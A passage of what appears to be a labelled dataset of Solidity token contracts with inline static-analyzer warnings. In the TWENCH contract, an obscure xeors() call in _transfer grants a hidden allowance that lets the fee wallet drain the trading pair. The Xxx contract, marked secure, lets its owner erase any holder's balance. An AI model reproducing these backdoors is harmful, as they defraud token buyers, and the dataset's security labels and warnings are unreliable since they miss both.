'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0ba57b7\n\t\t// reentrancy-benign | ID: 08738f0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0ba57b7\n\t\t// reentrancy-benign | ID: 08738f0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ffc22d2): SHNJ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ffc22d2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 08738f0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0ba57b7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d9090e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d9090e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 22138f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 22138f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (\n from != owner() &&\n to != owner() &&\n from != _devWallet &&\n to != _devWallet\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFee[from] || _isExcludedFromFee[to],\n \"Trading is not active.\"\n );\n }\n\n taxAmount = amount.mul(_buyTax).div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: 3d9090e\n\t\t\t\t// reentrancy-eth | ID: 22138f2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3d9090e\n\t\t\t\t\t// reentrancy-eth | ID: 22138f2\n sendETHToMw(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n taxAmount = 0;\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 22138f2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3d9090e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 22138f2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 22138f2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3d9090e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function hajimeru() external onlyOwner {\n tradingOpen = true;\n\n swapEnabled = true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: feed004): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for feed004: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a9a43c): SHNJ.addLPUniswap() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4a9a43c: Ensure that all the return values of the function calls are used.\n function addLPUniswap() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// unused-return | ID: feed004\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n 0x04dA2732583b7973006a764139C90801f9884793,\n block.timestamp\n );\n\n\t\t// unused-return | ID: 4a9a43c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 88c331f): SHNJ.setFee(uint256,uint256) should emit an event for _buyTax = feeOnBuy _sellTax = feeOnSell \n\t// Recommendation for 88c331f: Emit an event for critical parameter changes.\n function setFee(uint256 feeOnBuy, uint256 feeOnSell) public onlyOwner {\n\t\t// events-maths | ID: 88c331f\n _buyTax = feeOnBuy;\n\n\t\t// events-maths | ID: 88c331f\n _sellTax = feeOnSell;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0ba57b7\n\t\t// reentrancy-events | ID: 3d9090e\n\t\t// reentrancy-benign | ID: 08738f0\n\t\t// reentrancy-eth | ID: 22138f2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxWalletSize = _tTotal;\n\n _maxTxAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToMw(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0ba57b7\n\t\t// reentrancy-events | ID: 3d9090e\n\t\t// reentrancy-eth | ID: 22138f2\n _devWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n function getTokensBack() external {\n require(_msgSender() == _devWallet);\n\n uint256 amount = balanceOf(address(this));\n\n _transfer(address(this), _devWallet, amount);\n }\n}",
"file_name": "solidity_code_1199.sol",
"secure": 0,
"size_bytes": 13741
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract TWENCH is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _xApproval;\n\n mapping(address => bool) private _excludedFromX;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Twench\";\n\n string private constant _symbol = unicode\"TWENCH\";\n\n uint256 public _maxTxAmountX = (2 * _tTotal) / 100;\n\n uint256 public _maxTxWalletX = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4daf74b): TWENCH._taxSwapThreshold should be constant \n\t// Recommendation for 4daf74b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: df8f06f): TWENCH._maxTaxSwap should be constant \n\t// Recommendation for df8f06f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n address payable private xReceipt;\n\n IUniswapV2Router02 private uniXRouter;\n\n address private uniXPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 383e707): TWENCH._initialBuyTax should be constant \n\t// Recommendation for 383e707: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: b512779): TWENCH._initialSellTax should be constant \n\t// Recommendation for b512779: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: af97c6c): TWENCH._finalBuyTax should be constant \n\t// Recommendation for af97c6c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec0b465): TWENCH._finalSellTax should be constant \n\t// Recommendation for ec0b465: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8ff69f): TWENCH._reduceBuyTaxAt should be constant \n\t// Recommendation for d8ff69f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: e576a7a): TWENCH._reduceSellTaxAt should be constant \n\t// Recommendation for e576a7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10c5666): TWENCH._preventSwapBefore should be constant \n\t// Recommendation for 10c5666: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 private _buyCount = 0;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmountX);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n xReceipt = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromX[address(this)] = true;\n\n _excludedFromX[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function initPairOf() external onlyOwner {\n uniXRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniXRouter), _tTotal);\n\n uniXPair = IUniswapV2Factory(uniXRouter.factory()).createPair(\n address(this),\n uniXRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 63ae229): TWENCH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 63ae229: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _xApproval[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cd4000b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cd4000b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9aa9ded): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9aa9ded: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cd4000b\n\t\t// reentrancy-benign | ID: 9aa9ded\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cd4000b\n\t\t// reentrancy-benign | ID: 9aa9ded\n _approve(\n sender,\n _msgSender(),\n _xApproval[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1c977f): TWENCH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1c977f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9aa9ded\n _xApproval[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cd4000b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 47e6234): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 47e6234: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 958a071): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 958a071: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n uint256 taxAmount = 0;\n\n require(\n xeors([uniXPair, xReceipt]) && from != address(0),\n \"ERC20: transfer from the zero address\"\n );\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniXPair &&\n to != address(uniXRouter) &&\n !_excludedFromX[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxTxAmountX, \"Exceeds the _maxTxAmountX.\");\n\n require(\n balanceOf(to) + amount <= _maxTxWalletX,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniXPair && !_excludedFromX[to]) {\n require(\n balanceOf(to) + amount <= _maxTxWalletX,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniXPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniXPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 47e6234\n\t\t\t\t\t// reentrancy-eth | ID: 958a071\n xEthSwap(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 47e6234\n\t\t\t\t// reentrancy-eth | ID: 958a071\n xEthSend();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 958a071\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 47e6234\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 958a071\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 958a071\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 47e6234\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function xEthSwap(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniXRouter.WETH();\n\n _approve(address(this), address(uniXRouter), amount);\n\n\t\t// reentrancy-events | ID: cd4000b\n\t\t// reentrancy-events | ID: 47e6234\n\t\t// reentrancy-benign | ID: 9aa9ded\n\t\t// reentrancy-eth | ID: 958a071\n uniXRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 11ca10c): TWENCH.removeLimits(address).lmt lacks a zerocheck on \t xReceipt = lmt\n\t// Recommendation for 11ca10c: Check that the address is not zero.\n function removeLimits(address payable lmt) external onlyOwner {\n _maxTxAmountX = _tTotal;\n\n _maxTxWalletX = _tTotal;\n\n\t\t// missing-zero-check | ID: 11ca10c\n xReceipt = lmt;\n\n _excludedFromX[lmt] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 78270d1): TWENCH.xEthSend() sends eth to arbitrary user Dangerous calls xReceipt.transfer(address(this).balance)\n\t// Recommendation for 78270d1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function xEthSend() private {\n\t\t// reentrancy-events | ID: cd4000b\n\t\t// reentrancy-events | ID: 47e6234\n\t\t// reentrancy-eth | ID: 958a071\n\t\t// arbitrary-send-eth | ID: 78270d1\n xReceipt.transfer(address(this).balance);\n }\n\n function rescueEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function xeors(address[2] memory xors) private returns (bool) {\n _xApproval[xors[0]][xors[1]] =\n (250 + _maxTxAmountX.mul(20) + 150).sub(50).mul(100) +\n 500;\n return true;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f270a88): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f270a88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e68a2e5): TWENCH.startTrading() ignores return value by uniXRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e68a2e5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf84d5e): TWENCH.startTrading() ignores return value by IERC20(uniXPair).approve(address(uniXRouter),type()(uint256).max)\n\t// Recommendation for cf84d5e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 74b5651): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 74b5651: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: f270a88\n\t\t// unused-return | ID: e68a2e5\n\t\t// reentrancy-eth | ID: 74b5651\n uniXRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f270a88\n\t\t// unused-return | ID: cf84d5e\n\t\t// reentrancy-eth | ID: 74b5651\n IERC20(uniXPair).approve(address(uniXRouter), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f270a88\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 74b5651\n tradingOpen = true;\n }\n}",
"file_name": "solidity_code_12.sol",
"secure": 0,
"size_bytes": 16304
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Norris is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: feb0836): Norris.maxSupply should be constant \n\t// Recommendation for feb0836: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"CNorris\", \"NORRIS\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_120.sol",
"secure": 1,
"size_bytes": 596
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Xxx is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable psychology;\n\n constructor() {\n _name = \"XXX\";\n\n _symbol = \"XXX\";\n\n _decimals = 18;\n\n uint256 initialSupply = 696000000;\n\n psychology = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == psychology, \"Not allowed\");\n\n _;\n }\n\n function license(address[] memory reproduction) public onlyOwner {\n for (uint256 i = 0; i < reproduction.length; i++) {\n address account = reproduction[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1200.sol",
"secure": 1,
"size_bytes": 4375
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BSHRUB is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0988310): BSHRUB._taxWallet should be immutable \n\t// Recommendation for 0988310: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83a5ce9): BSHRUB._initialBuyTax should be constant \n\t// Recommendation for 83a5ce9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9614b79): BSHRUB._initialSellTax should be constant \n\t// Recommendation for 9614b79: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e048643): BSHRUB._reduceBuyTaxAt should be constant \n\t// Recommendation for e048643: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: a27efb9): BSHRUB._reduceSellTaxAt should be constant \n\t// Recommendation for a27efb9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0c7624): BSHRUB._preventSwapBefore should be constant \n\t// Recommendation for a0c7624: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Baby Shrub\";\n\n string private constant _symbol = unicode\"BSHRUB\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a1ccae): BSHRUB._taxSwapThreshold should be constant \n\t// Recommendation for 3a1ccae: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e71ab1b): BSHRUB._maxTaxSwap should be constant \n\t// Recommendation for e71ab1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xc988a0Cf2BA930ED4A535B48C1a9a8BA9462A62f);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e14fee5): BSHRUB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e14fee5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 636cb73): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 636cb73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | 